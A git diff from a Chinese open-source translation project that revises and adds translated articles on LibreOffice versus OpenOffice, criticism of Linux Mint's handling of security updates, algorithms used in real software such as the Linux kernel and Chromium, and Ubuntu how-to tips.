这一优势的确很难被忽略。原因首先是,在LibreOffice已经确立了好几个月时间优势的情况下,OpenOffice却仍在专注于管理权和代码审计,这些工作也许有帮助,也有必要,但是普通用户更愿意看到他们对代码做出更多的改进工作。
|
||||
|
||||
其次,LibreOffice的开发人员大部分是[Go-oo][3]的前成员,这是OpenOffice.org的一个非官方项目组,以“快速完善”为目标。当Apache OpenOffice项目组还在筹建中的时候,LibreOffice就已经吸引了全世界酷爱编程、热衷变革的天才们。
|
||||
其次,LibreOffice的开发人员大部分是[Go-oo][3]的前成员,这是OpenOffice.org的一个非官方分支,以“快速完善”为目标。当Apache OpenOffice项目组还在筹建中的时候,LibreOffice就已经吸引了全世界酷爱编程、热衷变革的天才们。
|
||||
|
||||
没有人做过准确的调查,但是我印象中,当OpenOffice.org社区分家的时候,大部分富于冒险创新精神的贡献者都选择了LibreOffice,同时,有一些半独立的文档小组,在谨慎地同时为两个项目工作。
|
||||
|
||||
其实,LibreOffice最重要的优势或许可以称之为“吸血许可证”。怎么个意思呢?就是OpenOffice的Apache许可证兼容LibreOffice的Lesser GNU通用公共许可证,但是LibreOffice的Less GNU通用公共许可证却不兼容OpenOffice的Apache许可证。换句话说,LibreOffice可以随意自由地从OpenOffice“借”代码,但是OpenOffice却根本无法从LibreOffice“借”到任何东西。严格地讲,如果想从LibreOffice“借”来某个功能,OpenOffice必须完全依靠“净室(clean-room)”来实现。
|
||||
其实,LibreOffice最重要的优势或许可以称之为“吸血许可证”。怎么个意思呢?就是OpenOffice的Apache许可证兼容LibreOffice的Lesser GNU通用公共许可证,但是LibreOffice的Less GNU通用公共许可证却不兼容OpenOffice的Apache许可证。换句话说,LibreOffice可以随意自由地从OpenOffice“借”代码,但是OpenOffice却根本无法从LibreOffice“借”到任何东西。严格地讲,如果想从LibreOffice“借”来某个功能,OpenOffice必须完全从头实现。
|
||||
|
||||
这一情况有可能会改变,尤其是当Apache OpenOffice比LibreOffice拥有更高的知名度的时候,然而LibreOffice的支持者们正在迅速扩张,它的社区非常活跃,短短3年间所做的要比OpenOffice.org十二年来做的还要多。
|
||||
|
||||
@ -70,7 +70,7 @@ LibreOffice还拥有更多的“冒险创新精神”,例如,与导航栏类
|
||||
|
||||
via: http://www.datamation.com/applications/apache-openoffice-vs.-libreoffice-1.html
|
||||
|
||||
译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[wxy](https://github.com/wxy)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
@ -0,0 +1,39 @@
|
||||
Canonical Dev称Linux Mint“脆弱”,不要将其用于网银
|
||||
================================================================================
|
||||
**一位Canonical公司[工程师建议][1]:基于Ubuntu的流行操作系统Linux Mint用户不应该将其用于网银 。**
|
||||
|
||||
Mint决定禁止更新那些存在已知安全问题的安装包 - 从内核、浏览器到启动加载器和Xorg显示服务 - 这样给用户带来了一个“脆弱的系统” ,Oliver Grawert说。
|
||||
|
||||
> “不去马上整合Ubuntu提交的那些修正,而是拒绝这些软件包的(安全)更新。我要说,强制保持一个有缺陷的内核、浏览器或xorg,而不是允许安装更新补丁,这会变成一个易受攻击的系统,(原文如此)”。
|
||||
>
|
||||
> “就我个人而言,我不会用它做网银操作。”
|
||||
|
||||
当然不只有Grawert认为Mint在安全意识上的低下。Mozilla贡献者兼前Ubuntu成员 **Benjamin Kerensa** 也有同样的看法:
|
||||
|
||||
> “目前还不清楚为什么Linux Mint禁止所有的安全更新。我可以说,Mint需要花好几个月才能得到一个Firefox的修正版,而Ubuntu和Debian已经早在他们的包上打了安全补丁。
|
||||
>
|
||||
> 这将置Linux Mint用户处于危险中,也是我从来不建议任何人将Linux Mint作为一种替代Ubuntu的系统的主要原因之一。”
|
||||
|
||||
Oliver Grawert是一位可靠的撰稿人。作为一位Canonical公司下的Ubuntu工程师,他比大多数人更了解自己在说什么。
|
||||
|
||||
那么Mint的用户存在实际风险么?
|
||||
|
||||
半对半错。Mint开发商坚决拒绝更新的现有软件包中大部分的安全“漏洞”(这个词更好一些)都是有记录和已知的,虽然这些漏洞很少被利用。因此对用户构成的“实际风险”仍然存在,至少现在,在理论上是很有可能的。
|
||||
|
||||
也就是说,没有发生**已知的**由于使用Mint发行版(或任何其他基于Ubuntu的未打补丁的发行版)并被通过利用Grawert引用的Ubuntu开发邮件列表上的漏洞造成身份盗窃乃至更糟的事故的情况。
|
||||
|
||||
但是,仅仅因为迄今为止没有人曾经钻进这扇半掩的窗户,并不能说明其他人永远不会这么做。
|
||||
|
||||
**看到Ubuntu持续被提及有关自身的(主要是理论上)隐私问题后,至少它还穿着另外一只鞋子,我们可喜的看到它对用户安全的强烈关注正在延伸至其他发行版上。**
|
||||
|
||||
*请注意:我们已经向Linux Mint征求意见及澄清,答复将在后继文章发表。*
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.omgubuntu.co.uk/2013/11/canonical-dev-dont-use-linux-mint-online-banking-unsecure
|
||||
|
||||
译者:[whatever1992](https://github.com/whatever1992) 校对:[wxy](https://github.com/wxy)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:https://lists.ubuntu.com/archives/ubuntu-devel-discuss/2013-November/014770.html
|
298
published/201311/Core algorithms deployed.md
Normal file
298
published/201311/Core algorithms deployed.md
Normal file
@ -0,0 +1,298 @@
|
||||
那些算法在哪里?
|
||||
================================================================================
|
||||
|
||||
本文来源于一篇stackexchange的[问题][101]回答。提问者问到,我们在计算机科学和数学课程里面学习到的那些算法,到底在什么地方用到了?结果[Vijay D][103]给出一个洋洋洒洒的[深入回答][102],得到了提问者和众多围观。我们将这篇回答翻译过来以飨读者。
|
||||
|
||||
[Vijay D][103]写到:
|
||||
|
||||
在我看来,一个系统背后主要发挥作用的算法更容易在非算法课程上找到,这和应用数学中的成果比理论数学中更容易出现在应用中是一个道理。在讲座中,很少有实际问题能够精确匹配到一个抽象问题。归根结底,我认为没有理由让流行的算法课程,诸如Strassen乘法,AKS素性测试、或者Moser-Tardos算法与底层实际问题,如实现视频数据库、优化的编译器、操作系统、网络拥堵控制系统或者其他系统相关。这些课程的价值是学习利用错综复杂的方法发现问题的脉络而找出有效的解决方案。高级算法和简单算法的分析都不简单。正是由于这个原因,我不会忽略简单随机算法或者PageRank。
|
||||
|
||||
我想你可以选择任何一个大型软件,并在内部找到它所采用的基础和高级的算法。作为一个研究案例,我选择了Linux内核,并会示例一些Chromium里面的例子。
|
||||
|
||||
### Linux内核中的基本数据结构和算法 ###
|
||||
|
||||
Linux内核([源代码的链接在github][1])。
|
||||
|
||||
1.[链表][2]、[双向链表][3]、[无锁链表][4]。
|
||||
|
||||
2.[B+ 树][5],这是一些你无法在教科书上找到的说明。
|
||||
|
||||
> 一个相对简单的B+树的实现。我把它作为一个学习练习来帮助理解B+树是如何工作的。这同样也被证明是有用的。
|
||||
|
||||
> ...
|
||||
|
||||
> 一个在教科书中并不常见的技巧。最小的值在右侧而不是在左侧。所有在一个节点里用到的槽都在左侧,所有没有用到的槽包含了空值(NUL)。大多数操作只简单地遍历所有的槽一次并在第一个空值时(NUL)终止。
|
||||
|
||||
3.[优先排序列表][6] 用于 [互斥量][7]、[驱动][8]等等。
|
||||
|
||||
4.[红黑树][9][用于][10]调度、虚拟内存管理、追踪文件描述符和目录项等。
|
||||
|
||||
5.[区间树][11]
|
||||
|
||||
6.[根树][12]用于[内存管理][13],NFS相关查询和网络相关功能。
|
||||
|
||||
> 根树的一个通用的用处是存储指针到结构页中。
|
||||
|
||||
7.[优先级堆][14],如其名称的教科书实现,用于[cgroup][15]。
|
||||
|
||||
> 《简单的基于CLR的只插入的,含有指针的定长优先级堆》第七章
|
||||
|
||||
8.[哈希函数][16],参考了Knuth和一篇论文。
|
||||
|
||||
> Knuth建议,用乘法哈希的机器字来表示接近黄金比例的素数的最大整数。Chuck Lever验证了该技术的有效性:
|
||||
>
|
||||
> [http://www.citi.umich.edu/techreports/reports/citi-tr-00-1.pdf][17]
|
||||
>
|
||||
> 这些素数的选择是位稀疏的,他们可以通过移位和加法操作,而不必使用乘法器,乘法器是很慢的。
|
||||
|
||||
9.有的代码,比如[这个驱动][18],实现了他们自己的哈希函数。
|
||||
|
||||
> 使用了一种旋转哈希算法的哈希函数
|
||||
>
|
||||
> Knuth, D. 《计算机程序设计艺术, 卷 3: 排序与搜索》, 第6、7章. Addison Wesley, 1973
|
||||
|
||||
10.[哈希表][19]用于实现[inode][20]、[文件系统完整性检测][21]等等。
|
||||
|
||||
11.[位数组][22]用于处理标志位、中断等等。并在Knuth那本书的卷4中阐述。
|
||||
|
||||
12.[信号量][23]和[自旋锁][24]
|
||||
|
||||
13.[二分查找][25]用于[中断处理][26],[寄存器缓存查询][27]等等。
|
||||
|
||||
14.[B树的二分查找][28]。
|
||||
|
||||
15.[深度优先搜索][29]被广泛地用于[目录配置中][30]。
|
||||
|
||||
> 执行一个修改过的命名空间树的深度优先遍历,以指定的start_handle节点开始(及结束)。回调函数会在任何一个参数匹配的节点被发现时被调用。如果回调函数返回了一个非0值,搜索将会立即终止并且将其返回给调用者。
|
||||
|
||||
16.[广度优先搜索][31]用于检测运行时锁定的正确性。
|
||||
|
||||
17.链表中的[归并排序][32]用于[垃圾收集][33]、[文件系统管理][34]等等。
|
||||
|
||||
18.[冒泡排序][35]在一个驱动库中也有一个令人惊讶的实现。
|
||||
|
||||
19.[Knuth-Morris-Pratt 字符串匹配][36],
|
||||
|
||||
> 根据Knuth、Morris和Pratt\[1\]实现了一个线性时间的字符串匹配算法。他们的算法避免了转换函数的显式地计算DELTA。对于长度为n的文本,其匹配时间是O(n),对于长度为m的模式(pattern),仅使用一个辅助函数PI[1 . .m],预先计算模式的时间为O(m)。数组PI允许转换函数DELTA被实时有效地计算。粗略地说,对于任何状态"q"= 0,1,…、m和在SIGMA中的任何字符"a",PI["q"]的值包含的信息是独立的"a"并需要计算DELTA("q","a") \[2\]。既然PI只有m个记录,而DELTA有O(m |SIGMA|)个记录,在预处理时间计算PI而不是DELTA的时候,我们可以节省一个因数|SIGMA|
|
||||
>
|
||||
> \[1\] Cormen, Leiserson, Rivest, Stein,算法介绍,第二版,MIT出版社
|
||||
>
|
||||
> \[2\] 见有限自动机原理
|
||||
|
||||
20.[Boyer-Moore 模式匹配][37]是在找替代品时的参考和建议。
|
||||
|
||||
> 实现了Boyer-Moore字符串匹配算法:
|
||||
>
|
||||
> \[1\] 《一个快速的字符串搜索算法》,R.S. Boyer and Moore.计算机通信协会,20(10), 1977, pp. 762-772. [http://www.cs.utexas.edu/users/moore/publications/fstrpos.pdf][38]
|
||||
>
|
||||
> \[2\] 《准确的字符串匹配算法手册》,Thierry Lecroq, 2004 [http://www-igm.univ-mlv.fr/~lecroq/string/string.pdf][39]
|
||||
>
|
||||
> 注:由于Boyer-Moore(BM)从右到左搜索匹配,仍然有可能匹配分布在多个块,在这种情况下该算法并没有优势。
|
||||
>
|
||||
> 如果你希望确保这样的事情永远不会发生,那使用Knuth-Pratt-Morris(KMP)实现。总之,根据您的设置适当地选择字符串搜索算法。
|
||||
>
|
||||
> 如果你正在用文本搜索器进行过滤,NIDS或任何类似的注重安全的目的,那么使用KMP。否则,如果你真的关心性能,并且你对数据包进行分类以使用服务质量(QoS)政策,当你不介意匹配可能分布分散,那么用BM。
|
||||
|
||||
### Chromium 浏览器中的数据结构和算法 ###
|
||||
|
||||
Chromium的([源代码在 Google code][40])。我只会列出一部分。我建议使用搜索来找到你最喜欢的算法或者数据结构。
|
||||
|
||||
1.[伸展树][41]。
|
||||
|
||||
> 这个树通过分配策略(分配器)参数化。这个策略用于C的可用存储区的列表分配,参见zone.h。
|
||||
|
||||
2.[Voronoi算法][42]用于一个示例。
|
||||
|
||||
3.[基于Bresenham算法的选项卡][43]
|
||||
|
||||
在Chromium的第三方代码里面也有如下的数据结构和算法。
|
||||
|
||||
1.[二叉树][44]
|
||||
|
||||
2.[红黑树][45]
|
||||
|
||||
> Julian Walker的总结
|
||||
>
|
||||
> 红黑树是一个有趣的小东西。他们被认为比AVL树(它们的直接竞争对手)简单,乍一看这似乎是由于插入是一项轻松的乐事。然而,当你开始删除时,红黑树变得非常棘手。然而,通过复杂性的平衡,插入和删除可以使用单通道,实现自上而下的算法。这与AVL树情况不一样,插入只能自顶向下,删除则需要自下而上。
|
||||
|
||||
> ...
|
||||
>
|
||||
> 红黑树是很流行的,像大多数数据结构一样有一个古怪的名字。比如,在Java和c++库映射结构通常用红黑树实现。红黑树的速度也与AVL树相当。而AVL树平衡性不是很好,需要保持平衡的话红黑树通常更好。有一些流传的误解,但在大多数情况下对红黑树的宣传是准确的。
|
||||
|
||||
3.[AVL 树][46]
|
||||
|
||||
4.[Rabin-Karp字符串匹配][47]用于比较。
|
||||
|
||||
5.[自动机后缀的计算][48]。
|
||||
|
||||
6.由Apple公司实现的[bloom过滤器][49]。
|
||||
|
||||
7.[Bresenham 算法][50]。
|
||||
|
||||
### 编程语言库 ###
|
||||
|
||||
我想这个问题值得思考。编程语言设计者们认为值得花一些工程师的时间和精力来实现这些数据结构和算法,这样其他人就不必这么做了。这些库是我们在JAVA里面比C更少的发现需要重新实现基本数据结构的部分原因。
|
||||
|
||||
1.[C++ STL][51]包含了链表、栈、队列、映射、向量和[排序][52]、[搜索和堆操作][53]算法。
|
||||
|
||||
2.[Java API][54]易于扩展的并且越来越多。
|
||||
|
||||
3.[Boost C++ 库][55]包含了像 Boyer-Moore以及Knuth-Morris-Pratt字符串匹配算法。
|
||||
|
||||
### 分配和调度算法 ###
|
||||
|
||||
我发现这些很有趣,因为即使他们被称为启发式,您使用的策略规定了算法类型和需要的数据结构,因此,所以需要人们知道栈和队列。
|
||||
|
||||
1.最近最少使用(LRU)算法可以用不同的方法实现。Linux内核有一种[基于列表的实现][56]。
|
||||
|
||||
2.其他的还有先入先出(FIFO)、最常使用和轮询。
|
||||
|
||||
3.FIFO的一个变种用于VAX/VMS系统。
|
||||
|
||||
4.[Richard Carr][58]的[时钟算法][57]用于Linux中的页面替换。
|
||||
|
||||
5.Intel i860处理器是一种随机替代策略。
|
||||
|
||||
6.[自适应置换高速缓存][59]用于一些IBM存储控制器中,也曾经用于PostgreSQL中([虽然仅仅因为一些专利问题][60])。
|
||||
|
||||
7.Knuth在《计算机程序设计艺术 卷1》中讨论过的[Buddy内存分配算法][61]内用于Linux内核中,jemalloc并发分配器被用于FreeBSD和[facebook][62]中。
|
||||
|
||||
### *nix系统核心工具 ###
|
||||
|
||||
1.*grep*和*awk*同时从正则表达式中实现NFA的Thompson-McNaughton-Yamada构造,显然[这甚至击败了Perl的实现][63]。
|
||||
|
||||
2.*tsort*实现了拓扑排序。
|
||||
|
||||
3.*fgrep*实现了[Aho-Corasick字符串匹配算法][64]。
|
||||
|
||||
4.*GNU grep*,根据作者Mike Haertel实现了[Boyer-Mooresuan算法][65]。
|
||||
|
||||
5.Unix上的crypt(1)实现了一个在Enigma机器上的不同加密算法。
|
||||
|
||||
6.[*Unix diff*][66]由Doug McIllroy实现,基于和James Hunt合作编写的原形。它比用于计算Levenshtein距离的标准动态规划算法执行地更好。[Linux 版本][67]计算最短编辑距离。
|
||||
|
||||
### 加密算法 ###
|
||||
|
||||
这本是一个非常长的列表。加密算法在所有执行安全通信和交易的程序中都有实现。
|
||||
|
||||
1.[Merkle 树][68],特别是 Tiger Tree Hash变种,被用于点对点应用,比如[GTK Gnutella][69]和[LimeWire][70]。
|
||||
|
||||
2.[MD5][71]被用于提供软件包的校验和并被用于在*nix系统上的完整性检测([Linux 实现][72]),同样也支持Windows和OSX。
|
||||
|
||||
3.[OpenSSL][73]实现了很多加密算法包括AES、Blowfish、DES、SHA-1、SHA-2、RSA、DES等等。
|
||||
|
||||
### 编译器 ###
|
||||
|
||||
1.[LALR 解析][74]在yacc和bison实现。
|
||||
|
||||
2.支配算法被用于大多数基于SSA形式的编译器优化。
|
||||
|
||||
3.lex和flex将正则表达式编译为NFA。
|
||||
|
||||
### 压缩和图像处理 ###
|
||||
|
||||
1.用于GIF图片格式的[Lempel-Ziv][75]算法在图像处理程序中实现,从*unix工具转化到复杂的程序。
|
||||
|
||||
2.行程长度编码用于产生PCX文件(用于原来的画笔程序),它是被压缩的BMP和TIFF文件。
|
||||
|
||||
3.小波压缩是JPEG2000的基础,所以所有生成JPEG2000文件的数码相机会支持这个算法。
|
||||
|
||||
4.Reed-Solomon纠错在[Linux内核][76]、CD驱动器、条形码读取器、结合从Voyager中的卷积图像传输中实现。
|
||||
|
||||
### 冲突驱动语句学习算法 (CDCL) ###
|
||||
|
||||
自2000年以来,SAT求解器在工业标准的运行时间(通常是硬件工业,虽然其他地方也被使用)以近乎指数的方式每年下跌。这发展中很重要的一部分是冲突驱动语句学习算法,它结合了Davis Logemann和Loveland在约束规划和人工智能研究中关于语句学习的原始论文中的布尔约束传播算法。特定地,工业造型,SAT被认为是一个简单的问题([见这个讨论][77])。对我而言,这个一个最近最好的成功故事,因为它结合了这几年算法的不断发展、清晰的工程理念、实验性的评估、齐心协力地解决一个问题。[Malik 和 Zhang的CACM文章][78]值得阅读。这个算法在许多大学中教授(我参加过的4个地方都是如此),但是通常在一个逻辑或者形式方法课上。
|
||||
|
||||
SAT求解器的应用有很多。IBM,Intel和许多其他公司都有他们的SAT求解器实现。OpenSuse的[包管理器][78]同样使用了一个SAT求解器。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://cstheory.stackexchange.com/questions/19759/core-algorithms-deployed/19773#19773
|
||||
|
||||
译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:https://github.com/mirrors/linux-2.6
|
||||
[2]:https://github.com/mirrors/linux-2.6/blob/master/lib/llist.c
|
||||
[3]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/list.h
|
||||
[4]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/llist.h
|
||||
[5]:https://github.com/mirrors/linux-2.6/blob/39caa0916ef27cf1da5026eb708a2b8413156f75/lib/btree.c
|
||||
[6]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/plist.h
|
||||
[7]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/include/linux/rtmutex.h
|
||||
[8]:https://github.com/mirrors/linux-2.6/blob/f0d55cc1a65852e6647d4f5d707c1c9b5471ce3c/drivers/powercap/intel_rapl.c
|
||||
[9]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/rbtree.h
|
||||
[10]:http://lwn.net/Articles/184495/
|
||||
[11]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/interval_tree.h
|
||||
[12]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/radix-tree.h
|
||||
[13]:http://lwn.net/Articles/175432/
|
||||
[14]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/include/linux/prio_heap.h
|
||||
[15]:https://github.com/mirrors/linux-2.6/blob/42a2d923cc349583ebf6fdd52a7d35e1c2f7e6bd/include/linux/cgroup.h
|
||||
[16]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/include/linux/hash.h
|
||||
[17]:ttp://www.citi.umich.edu/techreports/reports/citi-tr-00-1.pdf
|
||||
[18]:https://github.com/mirrors/linux-2.6/blob/0b1e73ed225d8f7aeef96b74147215ca8b990dce/drivers/staging/lustre/lustre/lov/lov_pool.c
|
||||
[19]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/hashtable.h
|
||||
[20]:https://github.com/mirrors/linux-2.6/blob/42a2d923cc349583ebf6fdd52a7d35e1c2f7e6bd/fs/inode.c
|
||||
[21]:https://github.com/mirrors/linux-2.6/blob/ff812d724254b95df76b7775d1359d856927a840/fs/btrfs/check-integrity.c
|
||||
[22]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/bitmap.h
|
||||
[23]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/semaphore.h
|
||||
[24]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/spinlock.h
|
||||
[25]:https://github.com/mirrors/linux-2.6/blob/master/lib/bsearch.c
|
||||
[26]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/drivers/sh/intc/chip.c
|
||||
[27]:https://github.com/mirrors/linux-2.6/blob/10d0c9705e80bbd3d587c5fad24599aabaca6688/drivers/base/regmap/regcache.c
|
||||
[28]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/fs/befs/btree.c
|
||||
[29]:https://github.com/mirrors/linux-2.6/blob/a9238741987386bb549d61572973c7e62b2a4145/drivers/acpi/acpica/nswalk.c
|
||||
[30]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/fs/configfs/dir.c
|
||||
[31]:https://github.com/mirrors/linux-2.6/blob/4fbf888accb39af423f271111d44e8186f053723/kernel/locking/lockdep.c
|
||||
[32]:https://github.com/mirrors/linux-2.6/blob/master/lib/list_sort.c
|
||||
[33]:https://github.com/mirrors/linux-2.6/blob/42a2d923cc349583ebf6fdd52a7d35e1c2f7e6bd/fs/ubifs/gc.c
|
||||
[34]:https://github.com/mirrors/linux-2.6/blob/ff812d724254b95df76b7775d1359d856927a840/fs/btrfs/raid56.c
|
||||
[35]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/drivers/media/common/saa7146/saa7146_hlp.c
|
||||
[36]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/lib/ts_kmp.c
|
||||
[37]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/lib/ts_bm.c
|
||||
[38]:http://www.cs.utexas.edu/users/moore/publications/fstrpos.pdf
|
||||
[39]:http://www-igm.univ-mlv.fr/~lecroq/string/string.pdf
|
||||
[40]:https://code.google.com/p/chromium/
|
||||
[41]:https://code.google.com/p/chromium/codesearch#chromium/src/v8/src/splay-tree.h
|
||||
[42]:https://code.google.com/p/chromium/codesearch#chromium/src/native_client_sdk/src/examples/demo/voronoi/index.html
|
||||
[43]:https://code.google.com/p/chromium/codesearch#chromium/src/chrome/browser/ui/cocoa/tabs/tab_strip_controller.mm
|
||||
[44]:https://code.google.com/p/chromium/codesearch#chromium/src/third_party/bintrees/bintrees/bintree.py
|
||||
[45]:https://code.google.com/p/chromium/codesearch#chromium/src/third_party/bintrees/bintrees/rbtree.py
|
||||
[46]:https://code.google.com/p/chromium/codesearch#chromium/src/third_party/bintrees/bintrees/avltree.py
|
||||
[47]:https://code.google.com/p/chromium/codesearch#chromium/src/third_party/zlib/deflate.c
|
||||
[48]:https://code.google.com/p/chromium/codesearch#chromium/src/native_client/src/trusted/validator_ragel/dfa_traversal.py
|
||||
[49]:https://code.google.com/p/chromium/codesearch#chromium/src/third_party/WebKit/Source/wtf/BloomFilter.h
|
||||
[50]:https://code.google.com/p/chromium/codesearch#chromium/src/third_party/libvpx/source/libvpx/vp8/common/textblit.c
|
||||
[51]:http://www.cplusplus.com/reference/stl/
|
||||
[52]:http://www.cplusplus.com/reference/algorithm/
|
||||
[53]:http://www.cplusplus.com/reference/algorithm/
|
||||
[54]:http://docs.oracle.com/javase/7/docs/api/
|
||||
[55]:http://www.boost.org/doc/libs/1_55_0/libs/algorithm/doc/html/index.html#algorithm.description_and_rationale
|
||||
[56]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/list_lru.h
|
||||
[57]:http://en.wikipedia.org/wiki/Page_replacement_algorithm#Clock
|
||||
[58]:http://dl.acm.org/citation.cfm?id=4750
|
||||
[59]:http://en.wikipedia.org/wiki/Adaptive_Replacement_Cache
|
||||
[60]:http://www.varlena.com/GeneralBits/96.php
|
||||
[61]:http://en.wikipedia.org/wiki/Buddy_memory_allocation
|
||||
[62]:http://www.facebook.com/notes/facebook-engineering/scalable-memory-allocation-using-jemalloc/480222803919
|
||||
[63]:http://swtch.com/~rsc/regexp/regexp1.html
|
||||
[64]:http://en.wikipedia.org/wiki/Aho%E2%80%93Corasick_string_matching_algorithm
|
||||
[65]:http://lists.freebsd.org/pipermail/freebsd-current/2010-August/019310.html
|
||||
[66]:http://www.cs.dartmouth.edu/~doug/diff.pdf
|
||||
[67]:http://linux.die.net/man/3/diff
|
||||
[68]:http://en.wikipedia.org/wiki/Merkle_tree
|
||||
[69]:https://github.com/gtk-gnutella/bitter
|
||||
[70]:http://en.wikibooks.org/wiki/LimeWire
|
||||
[71]:http://en.wikipedia.org/wiki/MD5
|
||||
[72]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/crypto/md5.c
|
||||
[73]:http://www.openssl.org/
|
||||
[74]:http://en.wikipedia.org/wiki/LALR_parser
|
||||
[75]:http://en.wikipedia.org/wiki/Lempel_Ziv
|
||||
[76]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/lib/reed_solomon/reed_solomon.c
|
||||
[77]:http://rjlipton.wordpress.com/2009/07/13/sat-solvers-is-sat-hard-or-easy/
|
||||
[78]:http://dl.acm.org/citation.cfm?id=1536637
|
||||
[79]:http://en.opensuse.org/Portal%3aLibzypp
|
||||
|
||||
[101]:http://cstheory.stackexchange.com/questions/19759/core-algorithms-deployed/
|
||||
[102]:http://cstheory.stackexchange.com/questions/19759/core-algorithms-deployed/19773#19773
|
||||
[103]:http://cstheory.stackexchange.com/users/4155/vijay-d
|
@ -1,19 +1,19 @@
|
||||
每日Ubuntu小技巧——在Ubuntu中添加用户
|
||||
================================================================================
|
||||
|
||||
Ubuntu是一个多用户操作系统。多用户操作系统意味着多个用户可以通过独立的、个人的HOME文件夹,文件和设置访问计算机。用户A可以登录并修改他/她自己的配置文件而不会影响用户 **B ** 的配置文件。
|
||||
Ubuntu是一个多用户操作系统。多用户操作系统意味着多个用户可以通过独立的、个人的HOME文件夹,文件和设置访问计算机。用户**A**可以登录并修改他/她自己的配置文件而不会影响用户**B**的配置文件。
|
||||
|
||||
因此你可以为每一个可能使用你家里电脑的用户创建一个独立的账户而不是仅仅为所有人创建一个共享的账户。
|
||||
因此,你可以为每一个可能使用你家里电脑的用户创建一个独立的账户,而不是仅仅为所有人创建一个共享的账户。本文将展示使用Ubuntu时如何实现这一点。
|
||||
|
||||
为了获得上面所说的那样的独立账户,首先点击长条菜单栏上的齿轮图标,然后点击系统设置。
|
||||
|
||||

|
||||
|
||||
当如图所示的窗口打开后,点击“**用户账户(User Accounts)**”
|
||||
当如图所示的窗口打开后,点击屏幕下方的“**用户账户(User Accounts)**”,如下图所示。
|
||||
|
||||

|
||||
|
||||
要添加用户到你的Ubuntu需要管理员权限。如果你要这么做,就在添加账户前点击解锁。
|
||||
要添加用户到你的Ubuntu需要管理员权限,请在添加账户前点击解锁(Unlock)。
|
||||
|
||||

|
||||
|
||||
@ -21,17 +21,17 @@ Ubuntu是一个多用户操作系统。多用户操作系统意味着多个用
|
||||
|
||||

|
||||
|
||||
当你创建用户时有两种基本的账户类型: **标准用户 ** 和 **管理员** 。管理员权限用户有权限删除用户,安装软件和驱动,修改日期和时间,或者会进行一些可能使计算机不稳当的操作。
|
||||
创建用户时有两种基本的账户类型: **标准用户** 和 **管理员** 。管理员权限用户有权限删除用户,安装软件和驱动,修改日期和时间,或者进行一些可能使计算机不稳定的操作。
|
||||
|
||||
标准用户不能进行这些操作。他/她只能够修改自己的个人设置里面的东西。
|
||||
|
||||
当你输入用户的全名时,用户名将会根据全名自动的被选择。你可以保留自动生成的用户名,如果你需要的话也可以修改用户名。完成后,点击创建来创建账户。
|
||||
输入用户全名时,系统将根据全名自动选择用户名。你可以保留自动生成的用户名,也可以根据需要修改用户名。完成后,点击**创建(Create)**来创建账户。
|
||||
|
||||
默认情况下,你创建的账户将会不可用,直到你修改/添加了密码。要想让账户可用,点击账户不可用按钮,然后输入密码。
|
||||
默认情况下,刚创建的账户是不可用的,除非给他设置或修改了密码。要想让账户可用,点击账户的不可用按钮,然后输入密码。
|
||||
|
||||

|
||||
|
||||
如果你想要用户自动登录而不用输入密码,你可以在设置他/她登录密码的时候选择下载选项中的自动登录。
|
||||
如果你想要用户自动登录而不用输入密码,你可以在设置他/她登录密码的时候选择下拉选项中的自动登录。
|
||||
|
||||
Enjoy!
|
||||
--------------------------------------------------------------------------------
|
||||
@ -40,4 +40,4 @@ via: http://www.liberiangeek.net/2013/09/daily-ubuntu-tips-adding-user-accounts-
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
译者:[SCUSJS](https://github.com/scusjs) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
译者:[SCUSJS](https://github.com/scusjs) 校对:[jasmiepeng](https://github.com/jasminepeng)
|
@ -0,0 +1,42 @@
|
||||
每日Ubuntu小技巧-更改Samba工作组和计算机名
|
||||
================================================================================
|
||||
|
||||
这是另一个Ubuntu的新用户问的最多的问题。这个问题的答案很简单,但当你接触新事物时,你需要时间来完全理解它。
|
||||
|
||||
这是我们前几天收到的问题;
|
||||
|
||||
